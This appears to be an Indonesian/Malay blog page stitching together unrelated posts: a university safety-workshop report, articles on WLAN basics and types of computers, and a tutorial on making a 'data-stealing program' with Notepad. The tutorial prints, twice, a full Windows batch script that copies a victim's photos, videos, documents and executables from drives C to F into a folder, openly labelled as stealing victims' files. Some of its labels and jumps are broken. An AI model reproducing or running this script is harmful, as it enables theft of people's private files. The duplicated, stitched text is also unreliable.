Pada 30 Disember 2013, Pihak Jawatankuasa OSHE Pusat Teknologi Maklumat & Komunikasi (CICT) dengan kerjasama pihak Unit OSHE UTM yang diwakili oleh Encik Ab Hanan bin Md Basri sebagai penceramah dan fasilitator telah mengadakan Bengkel HIRARC di Bilik Mesyuarat Utama (CICT). Tujuan bengkel ini diadakan adalah untuk memperkenalkan pengetahuan asas bagaimana untuk mengenalpasti hazard (bahaya) dan menganalisis risikonya di tempat kerja. Kaedah ini dapat membantu dalam merancang, memantau dan menyediakan langkah-langkah pencegahan yang perlu diambil terhadap hazard yang mungkin berlaku semasa menjalankan tugas seharian. Setelah penerangan mengenai HIRARC diberikan, peserta dibahagikan mengikut kumpulan dan memeriksa kawasan tertentu yang diberikan bagi mengenalpasti hazard yang wujud di kawasan kerja tersebut. Kemudian, hazard tersebut akan diambil gambar sebagai bukti dan dianalisis seperti kesan atau akibat, kebarangkalian akan berlaku, tahap keterukan dan risiko jika ia berlaku serta langkah kawalan yang perlu diambil. Segala analisis dan perbincangan dalam kumpulan dimasukkan dalam satu slaid persembahan dimana setiap kumpulan telah membentangkan hasil perbincangan mereka kepada kumpulan lain untuk melihat kefahaman mengenai HIRARC pada setiap kumpulan disamping kesemua pendapat dan cadangan dikongsi bersama untuk membaiki kekurangan di CICT. Diharapkan hasil perbincangan dalam bengkel ini akan dapat dilaksanakan bersama bagi mewujudkan persekitaran selamat di CICT. Bengkel HIRARC tamat pada pukul 5.15 petang dengan sedikit jamuan ringan telah disediakan.
Sunday, February 2, 2014
Saturday, January 18, 2014
Dasar Wifi dan Wlan
Standard WLAN 802.11 disahkan oleh IEEE pada tahun 1997. Standard ini
berlaku untuk kecepatan 1 Mbps dan 2MBps. Standard ini difokuskan pada lapisan
1 dan 2 dari model OSI yaitu physical layer dan data link layer. Untuk memenuhi
kebutuhan kecepatan yang lebih tinggi maka pada tahun 1999 dikeluarkan standar
802.11b dengan kecepatan 5.5Mbps dan 11Mbps.
Keuntungan Penggunaan Wireless
Dunia usaha dalam berbagai ukuran sangat beruntung dengan mengoperasikan
sistem WLAN yang mampu memberikan kombinasi yang baik antara truput yan
mendekati jaringan kabel, akses mobile, dan konfigurasi yang fleksible.
Keuntungan ekonomis yang akan diperoleh dapat mencapai US$16,000 / user (di US)
– di ukur dari produktifitas pekerja, effisiensi organisasi, keuntungan, dan
penghematan biaya – di bandingkan alternatif menggunakan kabel. Beberapa
keuntungan utama WLAN adalah:
·
Mobilitas yang akan meningkatkan produktifitas dengan akses real-time
terhadap informasi, tidak peduli lokasi pekerja, agar lebih cepat & lebih
effisien dalam pengambilan keputusan.
·
Setup jaringan lebih cost effective daripada lokasi yang sulit di pasang
kabel seperti gedung tua atau bangunan dengan tembok yang masif.
·
Pengurangan cost of ownership – terutama di lingkungan yang dinamis yang
membutuhkan modifikasi yang sangat sering – kita harus berterima kasih karena
sedikitnya wiring dan biaya instalasi per alat dan per user.
·
WLAN memerdekakan user dari ketergantungan pada akses kabel ke backbone
jaringan, memberikan mereka akses jaringan kapan saja, dimana saja. Kebebasan
untuk roaming ini memberikan banyak keuntungan dalam berbagai lingkungan
pekerjaan, seperti:
§ Akses informasi secara
langsung di samping tempat tidur pasien bagi dokter & staff rumah sakit.
§ Kemudahan, akses
jaringan secara real-time untuk auditor / konsultan on-site.
§ Kemudahan akses
database bagi supervisor yang bergerak, seperti manager di production line,
auditor gudang, maupun engineer di konstruksi.
§ Membuat konfigurasi
jaringan lebih simpel tanpa perlu keterlibatan orang MIS untuk setup sementara
seperti di pameran atau ruang konferensi.
§ Akses yang lebih cepat
kepada informasi tentang pelanggan oleh vendor / retailer yang menyebabkan
perbaikan layanan pelanggan dan perbaikan customer satisfaction.
§ Akses ke jaringan yang
tidak terikat pada lokasi bagi administrator jaringan, untuk kemudahan dukungan
on-site pada saat troubleshooting & support.
§ Akses real-time bagi
pertemuan-pertemuan kelompok belajar untuk siswa / mahasiswa.
Oleh karena itu kelebihan yang ditawarkan oleh WLAN, terutama protable,
kemudahan instalasi and kepraktisan. Faktor yang sangat menarik dari WLAN
adalah kemudahan, karena dia memungkinkan fleksibilitas dan roaming. Seorang user
tidak harus terikat dalam sebuah LAN, dia dapat bergerak tanpa perlu terputus
hubungan komunikasinya. Di samping itu, WLAN juga mudah untuk di instalasi,
untuk membangun seluruh jaringan dibutuhkan waktu beberapa jam saja di
bandingkan beberapa hari jika kita menggunakan kabel. Juga, WLAN dapat di
instalasi di daerah dimana rewriring tidak memungkinkan. Sistem tanpa kabel ini
dapat di instalasi di berbagai lingkungan, dan user dapat berkomunikasi dengan
jaringan yang menggunakan kabel melalui access point (AP) atau wireless
adapter.
Konfigurasi WLAN
WLAN terdiri dari 2 perangkat yaitu:
·
Wireless Station (WS) : dekstop, laptop maupun PDA yang dilengkapi dengan
wireless NIC
·
Access Point (AP) : berfungsi sebagai bridge antara jaringan LAN
konvensional dan WLAN
Terdapat 2 jenis mode operasi WLAN yaitu:
·
Infrastucture Mode, terdiri dari
§ Basic Service Set
(BSS), hanya terdapat satu Access Point
§ Extented Service Set
(ESS), dua BSS atau lebih membentuk satu buah subnet
·
Ad-hoc Mode, terdiri dari beberapa wireless station yang berkomunikasi
secara langsung (peer-to-peer) tanpa menggunakan AP.
Koneksi dalam BSS
Koneksi dalam BSS
Proses terbentuknya koneksi dari WS ke AP dalam suatu BSS adalah sebagai
berikut:
·
AP mengirim sinyal beacon yang berisi SSID (Service Set Identifier). SSID
merupakan setting di AP yang digunakan mengelompokkan WS dalam suatu segmen
jaringan. Hanya WS yang mengetahui SSID tersebut yang dapat bergabung dalam
jaringan tersebut. SSID dapat dianggap sebagai shared password.
·
Ketika WS berada dalam daerah cakupan sebuah atau beberapa AP, maka WS akan
memilih salah satu AP berdasarkan kuat sinyal dan error rate yang diterima.
Secara periodik WS akan memantau untuk mengetahui sinyal yang paling kuat. Jika
ditemukan maka WS akan memilih AP yang baru tersebut.
·
Untuk bergabung dalam jaringan, maka WS harus melakukan koneksi ke AP. WS
harus menyebutkan SSID yang sesuai untuk bergabung dengan AP yang telah dipilih
tersebut. Beberapa AP yang memiliki SSID yang sama akan membentuk ESS.
·
Beberapa NIC WS bisa diset SSID nya dengan Any atau * (asterik) sehingga
dia dapat bergabung dengan AP mana saja yang paling kuat sinyalnya tanpa
mempedulikan SSID.
Sinyal WLAN
WLAN menggunakan sinyal radio pada frekuensi 2.4Ghz. Dalam implementasi
WLAN, letak AP diatur sedemikian sehingga hanya memiliki cakupan tertentu yaitu
wilayah operasi pemakai WLAN yang sah misalnya satu lantai tertentu dalam suatu
gedung. Namun sinyal radio ini dapat merambat menembus dinding dan lantai
bangunan meskipun sinyal menjadi lemah. Dengan demikian sangat mungkin sinyal
tersebut keluar dari daerah cakupan yang semestinya. Luberan sinyal ini dapat
merambat keluar sampai beberapa ratus meter dari gedung apalagi jika AP
diletakkan tanpa memperhatikan masalah luberan sinyal ini misalnya ditempatkan
dekat dengan jendela yang menghadap luar gedung.
Dengan menggunakan antena terarah (directional) dan kalau perlu menggunakan penguat sinyal sinyal radio (RF amplifier) maka sinyal radio yang telah lemah tadi dapat ditangkap kembali pada tempat yang relatif jauh.
Dengan menggunakan antena terarah (directional) dan kalau perlu menggunakan penguat sinyal sinyal radio (RF amplifier) maka sinyal radio yang telah lemah tadi dapat ditangkap kembali pada tempat yang relatif jauh.
Macam MacamKomputer
Komputer adalah alat yang dipakai untuk mengolah data menurut prosedure yang telah dirumuskan. Kata computer semula dipergunakan untuk menggambarkan orang yang perkerjaannya melakukan perhitungan aritmatika dengan atau tanpa alat bantu, tetapi arti kata ini kemudian dipindahkan kepada mesin itu sendiri. Kalau di lihat sejarahnya komputer, secara definisi komputer diterjemahkan sebagai sekumpulan alat elektronik yang saling bekerja sama, dapat menerima data (input), mengolah data (proses) dan memberikan informasi (output) serta terkoordinasi dibawah kontrol program yang tersimpan di memorinya.
Ada berbagai jenis komputer. Jenis-Jenis komputer tersebut oleh beberapa profesional diklasifikasi menjadi beberapa sudut pandang, antara lain :
1. Berdasarkan Proccesor
A. Mainframe Computer
Komputer jenis ini menggunakan prosessor yang mempunyai kemampuan yang sangat besar dan ditujukan untuk multi user. Dengan menggunakan teknologi time sharing maka efeknya tidak begitu dirasakan oleh user. Jenis Komputer ini memiliki suatu Central Processing Unit, Storage Device yang agak besar (kira-kira sebesar 2 lemari pakaian) dan ditempatkan pada tempat tersendiri.
Gambar : Mainframe komputer raksasa
Mainframe memiliki keunggulan bukan hanya dalam kecepatan pengolahan data, melainkan juga kompabilitas dengan berbagai aplikasi dan juga ketangguhannya. Mesin ini dapat bekerja dalam waktu lama tanpa interupsi sama sekali. Faktor inilah yang menjadi alasan bagi perusahaan untuk menggunakan mainframe. Biaya yang harus ditanggung akan menjadi sangat besar apabila mesin operasional harian berhenti berjalan.
B. Mini Computer
Kapasitas prosessor yang digunakan hampir sama dengan mainframe, hanya jumlah terminal yang dapat disambungkan ke dalam ke komputernya tidak sebanyak seperti pada jenis komputer mainframe. Jumlah terminal yang dapat disambungkan hanya puluhan. Oleh karena itu mini computer hanya cocok digunakan untuk perusahaan kelas menengah yang tidak begitu besar dan tidak terlalu kecil. Ukuran fisik komputer ini tidak sebesar komputer mainframe.
Gambar : Mini Computer
C. Personal Computer (PC)
Jenis prosessor yang digunakan kemampuannya tidak begitu besar dibandingkan dengan komputer mainframe. Karena komputer ini memang ditujukan untuk seorang pemakai. Karena kegunaannya maka komputer jenis ini disebut komputer pribadi atau Personal Computer (PC).
Gambar : Personal Computer
PC Singkatan dari "Personal Computer" PC adalah apa yang kebanyakan kita gunakan setiap hari untuk bekerja atau penggunaan pribadi. Sebuah PC umum meliputi sebuah sistem unit , monitor , keyboard , dan mouse . Sebagian besar PC hari ini juga memiliki jaringan atau koneksi internet, serta port untuk menghubungkan perangkat perangkat, seperti kamera digital, printer, scanner, speaker, hard drive eksternal, dan komponen lainnya.
D. Supercomputer
Komputer yang dirancang secara khusus dan merupakan suatu mesin yang sangat mahal. Komputer ini dapat menganalisa dan memvisualisasikan suatu proses atau fenomena yang tidak terlihat.
Komputer yang dirancang secara khusus dan merupakan suatu mesin yang sangat mahal. Komputer ini dapat menganalisa dan memvisualisasikan suatu proses atau fenomena yang tidak terlihat.
Gambar : Super Computer
Supercomputer adalah manipulator angka berkecepatan sangat tinggi yang digunakan terutama untuk aplikasi-aplikasi ilmiah dan rekayasa. Generasi baru dari superkomputer berbeda dari komputer mainframe konvensional dalam penggunaan pemroses paralel. Sebuah komputer bisnis memproses perintah satu persatu dalam sebuah CPU tunggal. Pemrosesan paralel mencakup penggunaan dari ribuan CPU kecil untuk memproses secara simultan bagian-bagian dari tugas matematika yang telah dipecah menjadi banyak sub tugas.
2. Berdasarkan Bidang Masalah
A. General Purpose Computer
Komputer ini dirancang untuk menyelesaikan bermacam-macam masalah dapat mempergunakan program yang bermacam-macam untuk menyelesaikan jenis permasalahan-permasalahan yang berbeda. Karena general purpose computer tidak dirancang untuk masalah yang khusus, maka dibandingkan dengan special-purpose computer, kecepatannya lebih rendah.
Gambar : General Purpose Computer
Tahun 1943, pihak Inggris menyelesaikan komputer pemecah kode rahasia yang dinamakan Colossus untuk memecahkan kode rahasia yang digunakan Jerman. Dampak pembuatan Colossus tidak terlalu memengaruhi perkembangan industri komputer dikarenakan dua alasan. Pertama, Colossus bukan merupakan komputer serbaguna(general-purpose computer), ia hanya didesain untuk memecahkan kode rahasia. Kedua, keberadaan mesin ini dijaga kerahasiaannya hingga satu dekade setelah perang berakhir.
B. Special Purpose Computer
Adalah komputer yang digunakan untuk menangani satu jenis masalah khusus. Komputer jenis ini biasanya telah diisikan suatu program kkomputer khusus, yang biasanya digunakan sebagai pengontrol proses-proses tertentu pada mesin pabrik, kepentingan militer atau pemeriksaan kesehatan. Dengan demikian bila ditinjau dari segi data yang diolah maka komputer jenis ini biasanya menggunakan koputer yang memiliki kemampuan hybrid.
Gambar : Special Purpose Computer
Contoh dari special purpose computer adalah mesin Tes Ekokardiografi atau USG jantung, atau yang lebih sering disingkat dengan sebutan Echo, merupakan suatu pemeriksaan yang memberikan gambaran jantung Anda yang sedang berdenyut dan dapat merekam gambar dengan sempurna, yang dapat membantu Dokter Anda dalam mengevaluasi kesehatan jantung Anda. Tipe USG jantung yang paling sering digunakan adalah jenis non-invasif, dan sangat mudah dilakukan pada pasien.
3. Berdasarkan Data Yang Diolah
Komputer dibedakan dalam 3 kategori yaitu komputer analog, digital dan hybrid. Masing-masing punya karakteristik serta cara kerja yang sedikit berbeda.
A. Komputer Analog
Komputer Analog adalah istilah yang digunakan untuk menggambarkan alat penghitung yang bekerja pada level analog. Level analog di sini adalah lawan (dual) dari level digital, yang mana level digital adalah level tegangan 'high' (tinggi) dan 'low' (rendah), yang digunakan dalam implementasi bilangan biner. Secara mendasar, komponen elektronik yang digunakan sebagai inti dari komputer analog adalah op-amp (operational amplifier).
Gambar : Komputer Analaog
B. Komputer Digital
Komputer Digital Adalah mesin komputer yang diciptakan untuk mengolah data yang bersifat kuantitatif dalam bentuk angka, huruf, tanda baca dan lain-lain. Yang pemrosesnya dilaksanakan berdasarkan teknologi yang mengubah sinyal menjadi kombinasi bilangan 0 dan 1.
Komputer ini merupakan komputer yang kebanyakan yang kita kenal. Data yang diterimanya adalah data yang sudah berupa data digital. Sedangkan fungsinya digunakan untuk mengolah data yang bersifat kuantitatif dalam bentuk angka, huruf, tanda baca dan lain-lain.
Gambar : Komputer Digital
C. Komputer Hybrid
Komputer Hybrid adalah jenis Komputer yang diperuntukkan untuk pengolahan data yang sifatnya baik kuantitatif maupun kualitatif, atau dengan istilah lain menggabungkan kemampuan digital dengan analog. Dengan perkataan lain data kuantitatif yang diolah menghasilkan data kualitatifnya dan sebaliknya.
Gambar : Komputer Hybrid
4. Berdasarkan Bentuk
A. Komputer Desktop
Ukuran fisiknya lumayan kecil, biasanya cocok diletakkan di atas meja. Bahkan sekarang dikembangkan bentuk komputer desktop yang semakin tipis yang dikenal dengan bentuk desktop slim. Bentuk desktop ini bisanya dilengkapi dengan banyak ruang yang disebut expantion slot sebagai tempat untuk card tambahan.
Gambar : Komputer Desktop
B. Komputer Tower
Ukuran fisk relatif lebih besar dibandingkan dengan komputer jenis desktop, cocok untuk diletakkan di samping atau di atas meja. Komputer Tower memiliki ruang untuk expantion slot lebih banyak
Gambar : Komputer Tower
C. Komputer Portable
Ukuran fisiknya sedikit lebih kecil dari komputer desktop dan tower. Seluruh bagian-bagiannya dijadikan satu agar mudah dibawa kemana-mana. Jenis komputer ini diciptakan untuk orang yang sering bekerja berpindah-pindah atau dilapangan. Secara bebas portable artinya mudah dibawa-bawa.
Gambar : Komputer Portable
Inilah komputer portable pertama, dengan berat 55 pounds yang di beri nama IBMPortable PC dengan nomor model 5100:
Pertama kali diperkenalkan: September, 1975
CPU: IBM 1.9MHz
RAM: 16K, 64K max
Display: 5 inci monitor monokrom (64 X 16 teks)
Penyimpanan: internal 200K tape (DC300)
Port: tape / printer I/O port
OS: APL dan /atau BASIC
D. Komputer Laptop/notebook
Adalah komputer dengan ukuran fisik yang dapat dipangku, ukurannya lebih kecil dari komputer portable, pada komputer notebook semua komponennya dibuat menyatu.
Gambar : Komputer Laptop/Notebook
E. Komputer Sub Notebook
Ukurannya sebesar kertas kwarto, tebal kira-kira 5 cm, komputer sub notebook masih terus dikembangkan untuk mengecilkan ukurannya.
Gambar : Komputer Sub Notebook
F. Komputer Palmtop
Komputer ini dibuat untuk bisa digenggam, bila dibandingkan dengan ukuran kaset kira-kira sebesar kaset video beta. Untuk arus listrik pada komputer palmtop biasanya didapatkan lewat baterai.
Gambar : Komputer Palmtop
Cara membuat program pencuri data dengan Notepad
Cara Membuat Program Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti:
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya
echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit
3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
contoh : Curidataorang.bat
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya
echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit
3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
contoh : Curidataorang.bat
Subscribe to:
Posts (Atom)